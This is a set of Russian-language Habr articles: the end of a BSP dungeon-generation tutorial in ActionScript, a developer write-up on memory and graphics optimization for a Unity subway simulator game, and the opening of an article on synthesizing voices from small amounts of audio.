for each (l in \_leafs)
{
if (l.leftChild == null && l.rightChild == null) // если этот лист ещё не разрезан...
{
// если этот лист слишком большой, или есть вероятность 75%...
if (l.width > MAX\_LEAF\_SIZE || l.height > MAX\_LEAF\_SIZE || FlxG.random() > 0.25)
{
if (l.split()) // разрезаем лист!
{
// если мы выполнили разрезание, передаём дочерние листья в Vector, чтобы в дальнейшем можно было в цикле обойти и их
\_leafs.push(l.leftChild);
\_leafs.push(l.rightChild);
did\_split = true;
}
}
}
}
}
// затем итеративно проходим по каждому листу и создаём в каждом комнату.
root.createRooms();
```
Вот пример нескольких сгенерированных листьев с комнатами внутри:
*Пример листьев со случайными комнатами внутри каждого.*
Как вы видите, каждый лист содержит одну комнату случайного размера и со случайным расположением. Можно поэкспериментировать со значениями минимального и максимального размера листа, изменять размер и положение каждой комнаты, чтобы научиться получать разные эффекты.
Если убрать линии, разделяющие листья, можно увидеть, что комнаты хорошо заполняют весь объём карты — лишнего места не так много — и выглядят немного более естественно.
*Пример листьев с комнатами внутри без разделительных линий.*
---
Соединение листьев
------------------
Теперь нам нужно соединить каждую комнату. К счастью, поскольку у нас есть встроенные связи между листьями, нам остаётся только сделать так, чтобы каждый лист, у которого есть дочерние листья, был с ними соединён.
Мы возьмём лист, рассмотрим каждый из его дочерних листьев, пройдём до каждого из дочерних листьев, пока не дойдём до листа с комнатой, а затем соединим комнаты. Мы можем делать это одновременно с генерированием комнат.
Для начала нам нужна новая функция, итеративно проходящая от любого листа до одной из комнат, находящейся внутри его дочерних листьев:
```
public function getRoom():Rectangle
{
// итеративно проходим весь путь по этим листьям, чтобы найти комнату, если она существует.
if (room != null)
return room;
else
{
var lRoom:Rectangle;
var rRoom:Rectangle;
if (leftChild != null)
{
lRoom = leftChild.getRoom();
}
if (rightChild != null)
{
rRoom = rightChild.getRoom();
}
if (lRoom == null && rRoom == null)
return null;
else if (rRoom == null)
return lRoom;
else if (lRoom == null)
return rRoom;
else if (FlxG.random() > .5)
return lRoom;
else
return rRoom;
}
}
```
Затем нам потребуется функция, получающая пару комнат и выбирающая случайную точку внутри обеих комнат, а затем создающая прямоугольники шириной один или два тайла, соединяющие две точки вместе.
```
public function createHall(l:Rectangle, r:Rectangle):void
{
// теперь мы соединяем эти две комнаты коридорами.
// выглядит довольно сложно, но здесь мы просто выясняем, где какая точка находится, а затем отрисовываем прямую линию или пару линий, чтобы создать правильный угол для их соединения.
// при желании можно добавить логику, делающую коридоры более извилистыми, или реализующую другое сложное поведение.
halls = new Vector;
var point1:Point = new Point(Registry.randomNumber(l.left + 1, l.right - 2), Registry.randomNumber(l.top + 1, l.bottom - 2));
var point2:Point = new Point(Registry.randomNumber(r.left + 1, r.right - 2), Registry.randomNumber(r.top + 1, r.bottom - 2));
var w:Number = point2.x - point1.x;
var h:Number = point2.y - point1.y;
if (w < 0)
{
if (h < 0)
{
if (FlxG.random() < 0.5)
{
halls.push(new Rectangle(point2.x, point1.y, Math.abs(w), 1));
halls.push(new Rectangle(point2.x, point2.y, 1, Math.abs(h)));
}
else
{
halls.push(new Rectangle(point2.x, point2.y, Math.abs(w), 1));
halls.push(new Rectangle(point1.x, point2.y, 1, Math.abs(h)));
}
}
else if (h > 0)
{
if (FlxG.random() < 0.5)
{
halls.push(new Rectangle(point2.x, point1.y, Math.abs(w), 1));
halls.push(new Rectangle(point2.x, point1.y, 1, Math.abs(h)));
}
else
{
halls.push(new Rectangle(point2.x, point2.y, Math.abs(w), 1));
halls.push(new Rectangle(point1.x, point1.y, 1, Math.abs(h)));
}
}
else // если (h == 0)
{
halls.push(new Rectangle(point2.x, point2.y, Math.abs(w), 1));
}
}
else if (w > 0)
{
if (h < 0)
{
if (FlxG.random() < 0.5)
{
halls.push(new Rectangle(point1.x, point2.y, Math.abs(w), 1));
halls.push(new Rectangle(point1.x, point2.y, 1, Math.abs(h)));
}
else
{
halls.push(new Rectangle(point1.x, point1.y, Math.abs(w), 1));
halls.push(new Rectangle(point2.x, point2.y, 1, Math.abs(h)));
}
}
else if (h > 0)
{
if (FlxG.random() < 0.5)
{
halls.push(new Rectangle(point1.x, point1.y, Math.abs(w), 1));
halls.push(new Rectangle(point2.x, point1.y, 1, Math.abs(h)));
}
else
{
halls.push(new Rectangle(point1.x, point2.y, Math.abs(w), 1));
halls.push(new Rectangle(point1.x, point1.y, 1, Math.abs(h)));
}
}
else // если (h == 0)
{
halls.push(new Rectangle(point1.x, point1.y, Math.abs(w), 1));
}
}
else // если (w == 0)
{
if (h < 0)
{
halls.push(new Rectangle(point2.x, point2.y, 1, Math.abs(h)));
}
else if (h > 0)
{
halls.push(new Rectangle(point1.x, point1.y, 1, Math.abs(h)));
}
}
}
```
Наконец, мы изменим функцию `createRooms()`, чтобы она вызывала функцию `createHall()` для каждого листа, имеющего пару дочерних листьев:
```
public function createRooms():void
{
// эта функция генерирует все комнаты и коридоры для этого листа и всех его дочерних листьев.
if (leftChild != null || rightChild != null)
{
// этот лист был разрезан, поэтому переходим к его дочерним листьям
if (leftChild != null)
{
leftChild.createRooms();
}
if (rightChild != null)
{
rightChild.createRooms();
}
// если у этого листа есть и левый, и правый дочерние листья, то создаём между ними коридор
if (leftChild != null && rightChild != null)
{
createHall(leftChild.getRoom(), rightChild.getRoom());
}
}
else
{
// этот лист готов к созданию комнаты
var roomSize:Point;
var roomPos:Point;
// размер комнаты может находиться в промежутке от 3 x 3 тайла до размера листа - 2.
roomSize = new Point(Registry.randomNumber(3, width - 2), Registry.randomNumber(3, height - 2));
// располагаем комнату внутри листа, но не помещаем её прямо рядом со стороной листа (иначе комнаты сольются)
roomPos = new Point(Registry.randomNumber(1, width - roomSize.x - 1), Registry.randomNumber(1, height - roomSize.y - 1));
room = new Rectangle(x + roomPos.x, y + roomPos.y, roomSize.x, roomSize.y);
}
}
```
Получившиеся комнаты и коридоры должны выглядеть примерно так:
*Пример листьев, заполненных случайными комнатами и соединёнными коридорами.*
Как вы видите, поскольку мы соединили все листья, изолированных комнат у нас не осталось. Очевидно, что логика создания коридоров должна быть чуть сложнее, чтобы коридоры не располагались слишком близко друг к другу, но и сейчас программа работает достаточно хорошо.
---
Подводим итог
-------------
Вот, собственно, и всё! Мы узнали, как создать (относительно) простой объект `Leaf`, который можно использовать для генерирования дерева разделённых листьев, создали случайные комнаты в каждом из листьев и соединили комнаты коридорами.
На данном этапе все созданные нами объекты являются прямоугольниками, но при необходимости им можно придать любую форму.
Теперь вы можете использовать BSP для создания любых типов случайных карт, применять его для равномерного распределения в области бонусов или врагов… или придумать любое другое применение. | https://habr.com/ru/post/332832/ | null | ru | null |
# Оптимизация механики и графики в игре жанра «симулятор» на iOS
Взлет игр-симуляторов как жанра несколько лет назад показал, что геймификации поддается любая рутина. Апофеозом стал хайп вокруг Goat Simulator, удостоившегося [упоминания](http://www.polygon.com/2015/6/8/8747203/bill-hader-apple-video-wwdc-angry-bird-goat-sumilator) в ключевой презентации WWDC 2015. Мы не остались в стороне и от этого тренда, поучаствовав в разработке движка для серии кросс-платформенных приложений, симулирующих работу подземки, над которыми трудятся наши партнеры из Simulators Live.
[Subway Simulator](https://itunes.apple.com/ru/app/subway-simulator-3d/id818269124?mt=8) – серия игр-симуляторов метро. Самая первая версия игры, вышедшая в 2014 году, хоть и была довольно абстрактной, подтвердила спрос на продукт подобной тематики, причем довольно высокий — проект занял лидирующие позиции в своей нише практически сразу после запуска. Последующие апдейты и новые версии продукта были направлены на то, чтобы сделать Subway Simulator реалистичнее: моделирование поездов и станций вышло на новый уровень, а также появились «локализованные» версии игры, отображающие метрополитены [Лондона](https://itunes.apple.com/ru/app/id1001117238), [Шанхая](https://itunes.apple.com/ru/app/id1172131328), [Москвы](http://go.everydaytools.mobi/cgAxNQ) и других городов. В данный момент суммарное число установок первой версии игры на iOS почти достигло миллионного значения. Одновременно игра становится доступна для других платформ.
Разрабатывая движок, основанный на симуляции движения в пространстве достаточно больших размеров, необходимо учитывать пределы памяти для адекватной работы на девайсе. В играх, требующих серьезного расхода ресурса, оптимизация становится определяющим фактором для пользовательского опыта. Именно с ее помощью можно обеспечить реалистичную, привлекательную картинку и плавный процесс геймплея. В данной статье речь пойдет о нашей работе над симулятором Subway Simulator 3D и различных типах оптимизации, которые применялись, чтобы свести расход памяти к минимуму без потери в качестве.
Разработка приложения велась на самом доступном игровом движке Unity. Учитывая тот факт, что для апдейтов планируется периодическая подгрузка моделей новых станций в движок, мы остановились на самом, пожалуй, тривиальном, но единственно возможном решении — модульном ядре игры.
Принцип работы у него, по сути, такой же как и у классических раннеров.
Есть префаб игрока (в данном случае это состав поезда, в который подгружается необходимая модель состава, и другие параметры — скорость, износ, мощность, звук и т.д.).
Есть блоки, или тайлы, объектов, в каждом из которых имеется объект для вложения модели, а также pivot'ы нулевой координаты модели и противоположного ее конца, по которым автоматически будет вычисляться местоположение для спауна следующего блока.
В игре представлены блоки нескольких типов:
*Тоннель* — линейный или искривленный — не имеет значения.
*Станция* — блок со своим листом событий и кат сцен для игры. Содержит префабы пассажиров.
*Кастомный блок события* — может содержать в себе тоннель с развилкой, где, скажем, поезду нужно экстренно остановиться, сбавить скорость и т. д.
Суть работы движка:
Как видно из схемы, основным персонажем у нас является поезд. Соответственно, относительно него мы и выстраиваем путь. С поездом связаны, прежде всего, Route Controller, выстраивающий динамическую линию маршрута по которой движется состав. Сама линия строится по заранее подготовленным Transform'am в каждом блоке, причем каждый Transform расположен ровно посередине колеи рельс.
Динамическая составляющая геймплея наиболее ресурсозатратна; чтобы должным образом ее оптимизировать, нам пришлось применить целый ряд решений. Рассмотрим их ниже.
### Реализация движения поезда
При создании движка поезда главный вопрос в том, насколько детально следует воссоздавать процесс движения. Здесь необходимо хорошо представлять себе поезд как физическое тело, понимать, что это многотонный объект, требующий постепенного разгона и остановки, что его положение и наклон определяются в зависимости от градуса поворота колеи.
Имитировать движение поезда в полном соотвествии с законами физики было бы проблематично. Как минимум, нам пришлось бы учитывать трение WheelCollider'ов, которые в Unity не всегда ведут себя адекватно, особенно если речь идет о более сложных и крупных колесных транспортных средствах, чем просто машина. И это только один из множества факторов. Самое же серьезное препятствие состоит в том, что такие подробные просчеты физики дали бы слишком большую нагрузку на движок. Это плохо сказалось бы на производительности, да и багов бы прибавило.
На наш взгляд, оптимальный выход из положения — сделать так, чтобы движение по физике выполнялось только как смещение по позиции по заданному маршруту.
Ротация поезда в симуляторе рассчитывается на основании разницы между двумя углами — действующим и предыдущим. Чем больше разница — тем сильнее поезд будет наклоняться в сторону, что и даст соответствующий крен.
```
private void Change()
{
target.position = Vector3.Lerp(target.position, currentPoint.position, lerpSpeed * Time.deltaTime);
//Если расстояние до цели минимальное - меняем цель
if (Vector3.Distance (PivotTrain.position, target.position) < damper) {
//Делаем отклонение поезда относительно поворотов, если такие есть на нашем пути
float DeltaR = Roll - (currentPoint.rotation.z - previousPoint.rotation.z);
//Крен поезда только в заданных границах
if (!(DeltaR > 0.05f || DeltaR < -0.05f))
Roll = Mathf.Lerp(Roll, currentPoint.localRotation.z - previousPoint.localRotation.z, 10 * Time.deltaTime);
//Выполняем смену цели
NextCall ();
}
private void NextCall()
{
//Обращаемся к последнему элементу, он же всегда первый в списке, так как после просчетов мы удаляем первый элемент
if(!CurrentPoints[0].GetComponent().Last)
previousPoint = currentPoint;
CurrentPoints [0].GetComponent ().EndBlock ();
CurrentPoints.Remove (CurrentPoints [0]);
currentPoint = CurrentPoints [0];
}
```
Тряска поезда производится за счет анимации камер (машинист покачивает головой в темпе, который определяется скоростью движения) и анимация тряски самой модели состава в зависимости от скорости или степени торможения. Цикличную анимацию камер или объекта довольно легко сделать обычными TweenPosition или TweenTransform, которые являются стандартными компонентами в движке NGUI.
Главное при этом — чтобы соблюдалась зависимость анимации от скорости состава. Пример зависимости с учетом коэффициентов скорости поезда приводим ниже:
```
void FixedUpdate()
{
speed = TrainEngine.Instance.speed;
maxSpeed = TrainEngine.Instance.maxSpeed;
tweenRot.dutation = (speed / maxSpeed) * 10;
tweenRot.from.y = speed / (maxSpeed)/30;
tweenRot.to.y = -tweenRot.from.y;
}
```
С физикой разобрались, переходим к следующей проблеме. Создавая движок, основанный на блоках, следует иметь в виду необходимость считывать дистанцию от объекта действующего блока до поезда. В идеале нужно свести количество операций по вычислению расстояния к минимуму.
Логика работы нашего движка подразумевает, что в каждый конкретный момент дистанция рассчитывается только между поездом и ближайшими к нему блоками. Остальные тоннели и станции находятся в пуле (Object Pooling) и никак не взаимодействуют с основным контроллером. Как только поезд проехал действующий блок, происходит перенаправление последнего из активного листа в пассивный.
lenghtBegin — длина блока, после достижения которой мы можем его убрать и строить путь дальше
ItemType — тип блока
```
private void DistanceCheck()
{
if ((Vector3.Distance(transform.position, player.transform.position) > lenghtBegin)) {
//Отключаем рассчет
ActiveBlock=false;
Model.SetActive(false);
//Возвращаем блок в кучу, чтобы не было повторений сразу
WayController.Instance.ReturnBlock(ItemType);
//Генерируем следующий блок
WayController.Instance.GenerateWay();
}
}
WayController.cs
//Определяем что строить дальше
public void GenerateWay()
{
//Если длина не равна общей длине перегона то спауним еще один блок тоннеля
if (CurrentLenght < LenghtTunnel) {
RespawnTunnel ();
} else
{
//Иначе спауним станцию
RespawnStation();
}
}
//Определяем что спаунить, прямой блок или блок с ротацией. Если с ротацией то сбрасываем счетчик
public void RespawnTunnel()
{
countLinear++;
if (countLinear > LenghtLinear)
{
countLinear = 0;
if (turnTunnel!=null)
LoadTurn (Random.Range (0, turnTunnel.Count));
else LoadLinear (Random.Range(0,frontTunnel.Count));
} else
{
LoadLinear (Random.Range(0,frontTunnel.Count));
}
}
//Выгрузить линейные блоки на локу
public void LoadLinear(int num)
{
if (RespList)
RespBlock.Add(frontTunnel [num]);
//Меняем местоположение объекта в листах
CurrentBlock.Add (frontTunnel [num]);
//Меняем позицию блока к последней действующей и включаем объект
CurrentBlock [CurrentBlock.Count-1].ChangePosition ();
CurrentBlock [CurrentBlock.Count - 1].transform.SetParent (RootTransform);
frontTunnel.Remove (frontTunnel [num]);
}
//При перестановке блока вперед - меняем позицию, ротацию - на те которые содержаться в пивоте последнего блока
public void ChangePosition()
{
Model.SetActive (true);
this.transform.position = new Vector3 (WayController.Instance.EndBuild.position.x, WayController.Instance.EndBuild.position.y, WayController.Instance.EndBuild.position.z);
this.transform.rotation = Quaternion.Euler (WayController.Instance.EndBuild.eulerAngles.x,WayController.Instance.EndBuild.eulerAngles.y, WayController.Instance.EndBuild.transform.eulerAngles.z);
rotationTile = EndPos.rotation.eulerAngles.y;
WayController.Instance.BuildWay (EndPos.position,rotationTile);
SetWayPoint ();
}
//Заносим точки маршрута из этого блока в общий лист по которому едет поезд
public void SetWayPoint()
{
for (int i = 0; i < WayPoints.Count; i++)
RouteController.Instance.CurrentPoints.Add (WayPoints [i]);
}
t = target.position - transform.position;
toRot = Quaternion.LookRotation(t);
transform.rotation = rot;
pos = transform.position + transform.forward * speed * Time.deltaTime;
//Сформированные данные отправляем компоненту RigidBody для просчета по физике
rbTrain.MovePosition (pos);
```
Далее скрипт Route Controller должен напрямую работать с Way Controller. Именно Way Controller и определяет список объектов, которые Route Controller будет обрабатывать и отдавать поезду как цель движения.
Главное удобство версии движка, которую мы используем, в том, что достаточно вбить необходимые значения, чтобы разом поменять характер движения на линии. Например, сделать перегоны между станциями длиннее или короче, если статистика покажет, что текущая продолжительность поездки не устраивает пользователей. При наличии новых моделей станций можно просто внести их в список моделей движка, а затем выставить начало и конец Pivot'ов в каждой.
Если бы в приложении использовались статичные локации — перепрошивка и апдейт были бы весьма трудоемким и долгим процессом. В данном же варианте при минимальном количестве действий мы можем загружать версию с новой станцией или дополнительными моделями, не задействуя при этом сервер. Хотя, конечно, при больших объемах обновлений, сервер остается единственно верным решением.
### Отладка метрики
Еще одна проблема, связанная с движением, заключалась в соотношении расстояния и метрики в Unity. Если путь нашего поезда всегда будет генерироваться блоками непрерывно вперед, рано или поздно объект окажется в таких координатах, что адекватный просчет кадров будет невозможен.
Кабина поезда, состоящая из нескольких Mesh'ей, у нас начинала в буквальном смысле этого слова трястись, когда координаты достигали слишком высоких значений.
Связано это с тем, что в Unity нет понятия бесконечного пространства, только условные границы, до которых можно без проблем просчитывать значения координат. Чем дальше мы будем уходить от этих границ, тем с большей погрешностью будет происходить рендеринг сцены.
Исходя из этого, мы решили дополнить движок игры респауном — иными словами, сделать так, чтобы, приезжая на станцию, поезд возвращался вместе с ней и ближайшими отстроенными блоками тоннеля в нулевую точку координат. Такое решение снижает вероятность погрешностей в просчете движения, если игрок прокатается, скажем, полчаса или больше.
```
public void RespawnStation()
{
StationResp [0].SetTriggers (false);
StationResp [0].transform.localPosition = new Vector3 (0.0f, 0.0f, 0.0f);
StationResp [0].transform.localRotation = Quaternion.identity;
EndBuild.transform.position = new Vector3(StationResp [0].EndPos.position.x,StationResp [0].EndPos.position.y,StationResp [0].EndPos.position.z);
EndBuild.transform.rotation = Quaternion.Euler (StationResp [0].EndPos.eulerAngles.x,StationResp [0].EndPos.eulerAngles.y, StationResp [0].EndPos.eulerAngles.z);
Train.transform.localPosition = new Vector3 (RespPoint.localPosition.x, RespPoint.localPosition.y, RespPoint.localPosition.z);
Train.transform.localRotation = RespPoint.localRotation;
WayController.Instance.RebuildBlocks ();
}
```
Проделанная работа с движком значительно разгрузила память, но на этом мы не остановились. Следующим шагом была оптимизация визуала и звука приложения.
### Компрессия текстур
Первые версии Subway Simulator включали в себя статичную локацию c заранее настроенными источниками света (в том числе и в Realtime). Довольно быстро стало понятно, что такая концепция работает лишь до тех пор, пока в игре не используются многополигональные модели и большое количество текстур, как для интерфейса, так и для локаций, поездов и людей. В противном же случае необходимо подобрать другой вариант, который обеспечивал бы хорошее качество при умеренных затратах памяти.
В первую очередь были написаны шейдеры с заранее запеченными картами света (LightMaps) — мы хотели отказаться от просчета освещения в принципе, заменив его специальными шейдерами на материалах и прожекторами на поезде.
При текстурировании был использован метод, описанный [здесь](https://habrahabr.ru/post/259835/). В нашей реализации все вышло довольно просто, но эффект на производительность оказался самый благотворный.
Каждую из текстур локации мы сжимали до 256х256, применяя сжатие RGB Compressed PRVTC 4 bit. А вот LightMaps (карты освещения) компоновались парами в одном изображении по отдельным каналам RGB.
Также был дописан шейдер смешения канала, по которому на нужном материале у объекта будет отображаться нужная нам карта из трех вариаций. Для наглядности — скриншот части кода шейдера, смешивающего RGB для текстур:
```
void surf (Input IN, inout SurfaceOutputStandard o) {
fixed4 c = tex2D (_MainTex, IN.uv_MainTex) * _Color;
fixed4 light = tex2D (_Light, IN.uv2_Light);
fixed4 g = tex2D (_MainTex2, IN.uv_MainTex);
fixed a = (c.r+c.g+c.b)/3;
fixed3 r;
r.r = ((g.r+(c.r-a))*_R)+((g.g+(c.r-a))*_G)+((g.b+(c.r-a))*_B)+((g.a+(c.r-a))*_A);
r.g = ((g.r+(c.g-a))*_R)+((g.g+(c.g-a))*_G)+((g.b+(c.g-a))*_B)+((g.a+(c.g-a))*_A);
r.b = ((g.r+(c.b-a))*_R)+((g.g+(c.b-a))*_G)+((g.b+(c.b-a))*_B)+((g.a+(c.b-a))*_A);
o.Albedo = r.rgb;
o.Metallic = _Metallic;
o.Smoothness = _Glossiness;
o.Emission = ((light.r*_N1)+(light.g*_N2)+(light.b*_N3)+(light.a*_N4))*r.rgb;
o.Alpha = c.a;
}
```
В итоге сам цвет картинки сжимается, но карта альфа-канала, освещение и контраст остаются приемлемого размера, так что с экранов мобильных девайсов ухудшения качества практически не заметно.
 
Сверху представлен пример распределения текстур. Левое изображение хранит в себе только цвет, его мы сжимаем настолько, насколько это возможно (для текстур локаций среднего размера предел, как правило, как раз и составляет 256 пикселей). Правое же изображение хранит в себе контраст и LightMaps в трех каналах RGB.
Такой же метод запаковывания текстур мы использовали и с поездами, поскольку в приложении каждый состав имеет 4 отдельные расцветки в разрешении 512 на 512. Таким образом нам удалось сократить потребление памяти со стороны как локаций, так поездов — в общем счете почти в два раза.
Также очень полезно выполнять компрессию 2-хбитного сжатия для любых мелких объектов локации. С большими объектами это решение не работает — могут появляться видимые артефакты.
Скриншот ниже — пример неудачной попытки подобного сжатия: артефакты явно просматриваются в верхней части локации.
### Компрессия звука и моделей
В рамках дополнительной оптимизации мы сжали все звуки на максимальное значение — 1. Опыт тестирования показал, что с мобильных девайсов практически не чувствуется потеря в качестве звука. Выставление Mono-режима всех звуковых файлов также снизило потребление памяти почти в полтора раза.
Для справки: к длинным звукам лучше применять Decompress On Load, а к коротким — Compressed In Memory.
### Моделирование прототипов
Задача хорошего симулятора не только заинтересовать пользователя детализированной механикой игрового процесса, но и еще и обеспечить достойную картинку. Исходя из чего было принято решение смоделировать несколько составов и станций с их настоящих копий. Благодаря эскизам и схемам, находящимся в открытом доступе, на данный момент, удалось очень правдоподобно реализовать 3 модели составов, и несколько станций Московского и Пекинского метро.
Средние показатели станций по полигонажу 25-30 тысяч полигонов и 12-20 тысяч полигонов у поездов. Как мы говорили выше, дополнительно применялась компрессия текстур и жесткое ограничение по количеству материала на объект. Поскольку количество текстур и моделей достаточно большое, мы отказались от просчетов освещения, остановившись только на заранее подготовленных картах теней в текстурах.
Результат моделирования можно видеть ниже:
*Станция метро «Новослободская», фото*
*Станция метро «Новослободская», скриншот*
### Вывод
При смене движка игры со статических карт на динамические с подгрузкой отдельных блоков локации удалось заметно снизить потребление памяти приложением во время работы. Приложение теперь может запускаться на более слабых девайсах и при этом выдавать вполне приемлемое количество кадров в секунду.
Запаковывание текстур и атласов в отдельные спектры канала RGB помогло снизить вес приложения. Это особо важно для тех случаев, когда в приложениях настолько много текстур, что даже наличие атласов уже не спасает. При разработке игр жанра «симулятор» эта проблема стоит особенно остро, так как достоверность окружения требует максимального количества фотографически точных элементов. В нашем случае благодаря данному этапу сжатия и запаковывания удалось сохранить в приличном качестве все самые необходимые детали в игре.
Что касается реализации механики, то здесь за счет динамической подгрузки локации появилась возможность контролировать процесс прохождения геймплея игроком и длину сессий. На основании данных о том, сколько в среднем пользователи играют на том или ином уровне, можно выявить слабые и сильные места и расширить или урезать геймплей соответствующим образом. Также благодаря динамическому движку появилась возможность в будущем добавлять новые станции в движок прямо из сервера, без полноценной пересборки приложения.
Надеемся, предложенные решения будут представлять для читателей интерес. Спасибо за внимание! | https://habr.com/ru/post/319990/ | null | ru | null |
# Синтезируем голос бабушки, дедушки и Ленина + новости нашего публичного синтеза
На Хабре часто висят в топе: политика и очередные запреты, трактор, ну и конечно сенсационные новости про "очередные достижения AI". Также ~~журналисты~~ маркетологи любят перепечатывать нормальные статьи наподобие [этой](http://arxiv.org/abs/2109.09598) но под максимально кричащими заголовками в духе "AI поработит мир, ваш голос уже украли".
Не секрет, что имея бюджет на вычисления в единицы или десятки миллионов долларов, напоказ достичь можно многого. Но реальность как правило оказывается более сложной и прозаической.
Вопреки этому тренду, в этой статье мы постараемся на пальцах и близко к народу:
* На реальных примерах показать возможности генерации голоса на малом числе данных или на данных с неидеальным качеством;
* Немного порассуждать на тему цифровых памятников (это чем-то похоже на интерактивные или трехмерные фотографии), сделанных из голоса человека;
* Также немного порассуждать на тему того, какую объективную опасность это представляет для общества;
И также мы конечно поделимся новостями нашего публичного синтеза речи.
Границы возможного
------------------
Сейчас вовсю лютует эпоха пост-модернизма. Тренд на утерю рационального мышления принял системный характер. Развитие Интернета скорее привело не к массовому распространению "fake news", а скорее массовой низкопробной фантастики (самый яркий пример — Hyperloop), которая согласуется с чаяниями обычных граждан. Скорее получается не "fake news", а усилитель неграмотности с локальной спецификой. Я постоянно вижу какие-то новости на тему того, что или кого должны уже заменили ~~роботы~~ ~~сильный ИИ~~ нейросети. Отсюда также растут тренды про плоскую землю, чипирование, вышки 5G и прочее мракобесие.
Хорошая актуальная иллюстрация на злобу дня — маркетинговые материалы OpenAI против более менее вменяемых попыток повторения от комьюнити:
Но если вернуться к нашей реальности, то в современной парадигме машинное обучение — это скорее сжатие данных. Фотографии уже как более века не являются диковинкой (и в современном понимании тоже являются сжатыми данными, тот же JPEG — это максимально популярный [пример](https://habr.com/ru/post/206264/)). Трехмерные фотографии (голограммы) — на самом деле в самом примитивном исполнении — тоже есть везде (стикеры, магнитики и вкладыши). Фотографии с картой "глубины" до недавнего времени требовали специального оборудования. Но сейчас появляются смартфоны с такими камерами и ее восстанавливают (точнее галлюцинируют) те же нейросети.
В самом-самом эпизоде [сериала Черное Зеркало](https://ru.wikipedia.org/wiki/%D0%A7%D1%91%D1%80%D0%BD%D0%BE%D0%B5_%D0%B7%D0%B5%D1%80%D0%BA%D0%B0%D0%BB%D0%BE_(%D1%82%D0%B5%D0%BB%D0%B5%D1%81%D0%B5%D1%80%D0%B8%D0%B0%D0%BB)) "White Christmas" четко прослеживается идея цифрового посмертия и сохранения каких-то цифровых артефактов.
Сейчас такими артефактами обычно являются фотографии, аудио и видео. Но как правило, такие артефакты не являются интерактивными. Появляются алгоритмы для анимации лиц и / или фото. Но что если рассмотреть сам голос непосредственно как некоторую "открытку" или привет из прошлого от некоего человека? Вы не можете заставить такую открытку саму говорить то, что бы говорил реальный человек (говорящие про "мышление" нейросетей люди просто лукавят), но голос может быть узнаваем или даже неотличим от реального при каких-то условиях.
В принципе "успехи" так называемых больших языковых моделей (LLM) могут сделать примеры из Черного Зеркала с созданием полных цифровых аватаров людей чем-то извращенно похожим на реальность. Но при детальном общении они будут рассыпаться буквально через 1-2 фразы и в лучшем случае пока будут примером грубой "китайской комнаты", которая сделала лишь один маленький шаг от бредогенераторов. Но голос, если вынести за скобки огромную палитру человеческих эмоций и интонаций, сохранить в принципе можно уже более менее точно и неотличимо.
Отдельный философский вопрос возникает: вот я сделал "копию" голоса близкого человека, но что будет с этим файлом через 50 лет? С одной стороны веса нейросети так и останутся матрицами, но все теперешнее окружение (например PyTorch) скорее всего уже уйдет в небытие. Возникает некая аналогия с тем, что HiFi электроника из 70х является условно самодостаточной (если есть розетка 220V и заменить резиновые ремни), а современные "подписочные сервисы" не будут найдены археологами. По этой причине интересно будет посмотреть на маркетинговые материалы инвестиционных стартапов, которые рано или поздно возьмутся за такое дело.
Будут ли они предлагать саппорт на 1 год, 5 лет, 50 лет, или будут как обычно все умалчивать и потом тихо пропадать? Логичной кажется конечно генерация большого количества каких-то неслучайных (?) фраз и просто хранение их тупо на диске или в какой-то физической оболочке. Например, если человек записал книгу или статью, можно ее озвучить и показывать потомкам.
Критерии успеха при создании голоса
-----------------------------------
В течение последних нескольких месяцев мы сделали несколько пробных и не очень проектов и выделили основные критерии, которые влияют на качество синтезированного аудио (сначала самые важные):
* Качество и количество аудио;
* Качество и свойства самого голоса, четкая дикция, консистентность (мы не умеем сохранять всю палитру эмоций);
* Соответствие канонам произношения и соответствие фонем их типичному произношению, точность произнесенного написанному (да, внезапно);
* Похожесть на существующих спикеров и наличие базы "идеальных" спикеров на нужном языке;
В прошлой [статье](https://habr.com/ru/post/563484/) мы приводили примеры запуска похожих голосов и даже более менее похожих голосов на разных языках "с холодного старта" и "с теплого старта" (пример чего-то относительно похожего в [литературе](http://arxiv.org/abs/2108.07737)). В этот раз мы уже провели сильно больше экспериментов и у нас сложилась некоторая более связная картинка мира.
В прошлых статьях мы подметили, что ударение сильно повышает качество синтеза для русского языка, а фонемы как будто не очень. Поигравшись с языками народов СНГ, также мы обратили внимание на сильную "фонетическость" записи некоторых языков (особенно на кириллице, когда письменный язык делали лингвисты не так давно). В каком-то смысле это также применимо к немецкому и испанскому.
Картинка сложилась, когда мы пробовали тренировать модель "с теплого старта", когда целевой спикер говорит по-английски, а спикер-донор — по-русски. Предсказуемо, так просто не работало даже с теплого старта при прочих равных и похожих голосах. При более детальном рассмотрении оказалось, что у русского, испанского и немецкого языков очень похож набор фонем, в отличие от английского.
Чтобы не растекаться мыслью по древу, сведу все итоги по абстрактным типам экспериментов в одну несколько упрощенную таблицу:
| Номер | Старт | Качество / дикция / шум | Количество аудио | Фонетика | Качество |
| --- | --- | --- | --- | --- | --- |
| Яндекс | Холодный | Диктор с "войс-коучем" | 40 часов | В примерах был русский | 4-5+ |
| (1) | Холодный | Хорошее, диктор | 3+ часов (лучше 5) | Любой язык | 4-5 |
| (2) | Теплый | Хорошее, диктор, нет шума | От 5-15 минут | Тот же язык и диалект | ~4 |
| (3) | Теплый | Среднее, нет дикции, мало шума | От 5-15 минут | То же, но голос похож | 4-, артефакты |
| (4) | Теплый | Среднее, нет дикции, мало шума | 20-30 минут | То же | 4- |
| (5) | Теплый | Голос В.И. Ленина | 15-20 минут | То же | 3- |
| (6) | Теплый | Хорошее, голос диктора | 3+ часов | Другой язык, похожая фонетика | 4 |
| (7) | Теплый | Среднее, дикция "плавает" | 15-20 минут | Другой язык, не похожая фонетика | не работает |
| (8) | Теплый | Среднее, дикция "плавает" | 15 минут | Тот же язык, разный акцент | 4- |
| (9) | Холодный | Хорошее, голос 1 диктора | 15 минут | Любой язык | не работает |
| (10) | Холодный | Хорошее, много дикторов | 10+ часов | Любой язык, дикторы похожи | 4+ |
Что интересно, в случае (6) пол, язык и похожесть голоса особой роли не играют, если язык похожий по звучанию. Если построить ментальную модель происходящего, то усилия дикторов можно экономить имея в загашнике много дикторов даже не с похожими голосами, а с похожими соответствиями между произносимыми звуками и "фонемами", которые с листа читает диктор. Простым языком — похожий диалект / акцент / набор часто произносимых фонем.
Ну то есть грубо говоря, если вы хотите сделать максимально качественную модель для людей, говорящих на индийских языках или на английском с индийским акцентом на малом числе данных, вам надо иметь данные не с идеальным британским произношением, а с произношением похожим на целевой домен. В ретроспективе это кажется очевидным, но в процессе постановки экспериментов гипотез была тонна.
Примеры
-------
### Мой голос на малом числе плохого аудио
Вводные:
* Мало аудио (около 12 минут после чисток);
* Плохое качество (пьезо-микрофон в гарнитуре);
